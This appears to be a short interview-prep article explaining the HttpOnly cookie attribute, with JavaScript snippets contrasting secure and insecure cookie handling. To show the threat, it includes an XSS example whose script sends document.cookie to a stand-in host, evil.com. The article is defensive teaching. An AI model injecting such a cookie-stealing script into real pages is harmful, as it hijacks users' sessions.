The HttpOnly attribute for cookies prevents access to them via JavaScript. Such cookies are only sent in HTTP requests to server. This protects against cookie theft via XSS attacks. 🔐
// HttpOnly cookie set only by server!
// Set-Cookie: token=abc123; HttpOnly; Secure
// In browser such cookie is NOT visible:
console.log(document.cookie); // Doesn't contain HttpOnly cookie!HttpOnly is like a safe where only the banker (server) has the key, but not the client (JavaScript). 🔒
HttpOnly attribute prevents JavaScript from accessing cookie:
// Regular cookie — accessible in JavaScript
document.cookie = 'normal=value';
console.log(document.cookie); // 'normal=value' — visible!
// HttpOnly cookie — NOT accessible in JavaScript
// Set only by server:
// Set-Cookie: secret=abc123; HttpOnly
console.log(document.cookie); // 'normal=value' — HttpOnly NOT visible!Only server can set HttpOnly cookie:
HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; HttpOnly; Secure; Path=/// ❌ Without HttpOnly — attacker can steal cookie
const cookies = document.cookie; // Sees all regular cookies
sendToEvilServer(cookies); // Sends to external server
// ✅ With HttpOnly — cookies not visible in JavaScript
const cookies = document.cookie; // HttpOnly NOT visible!
// Attacker can't steal them// Attacker injects code:
<script>
// Steals regular cookies
fetch('https://evil.com/steal?cookies=' + document.cookie);
</script>
// If cookies are regular — everything stolen!
// If cookies are HttpOnly — nothing stolen!// ✅ Good — session tokens as HttpOnly
// Set-Cookie: sessionId=abc123; HttpOnly; Secure; Path=/
// Increases application security// ✅ Good — any sensitive data
// Set-Cookie: userId=123; HttpOnly; Secure// ❌ Bad — if JavaScript needs to read cookie
// For example, theme settings
document.cookie = 'theme=dark'; // Must be accessible in JS
// Can't make HttpOnly, otherwise JS won't see it// ❌ Error — HttpOnly NOT set via JavaScript
document.cookie = 'token=abc123; HttpOnly'; // Ignored!
// ✅ Correct — only server sets HttpOnly
// Set-Cookie: token=abc123; HttpOnly; Secure// ❌ Bad — everything in regular cookies
document.cookie = 'token=abc123'; // Can be stolen
document.cookie = 'theme=dark'; // Needed in JavaScript
// ✅ Better — separate them
// Server: Set-Cookie: token=abc123; HttpOnly; Secure
// Client: document.cookie = 'theme=dark'Understanding HttpOnly helps write more secure web applications! 💪
Want more articles to prepare for interviews? Subscribe to EasyAdvice, bookmark the site and improve yourself every day 💪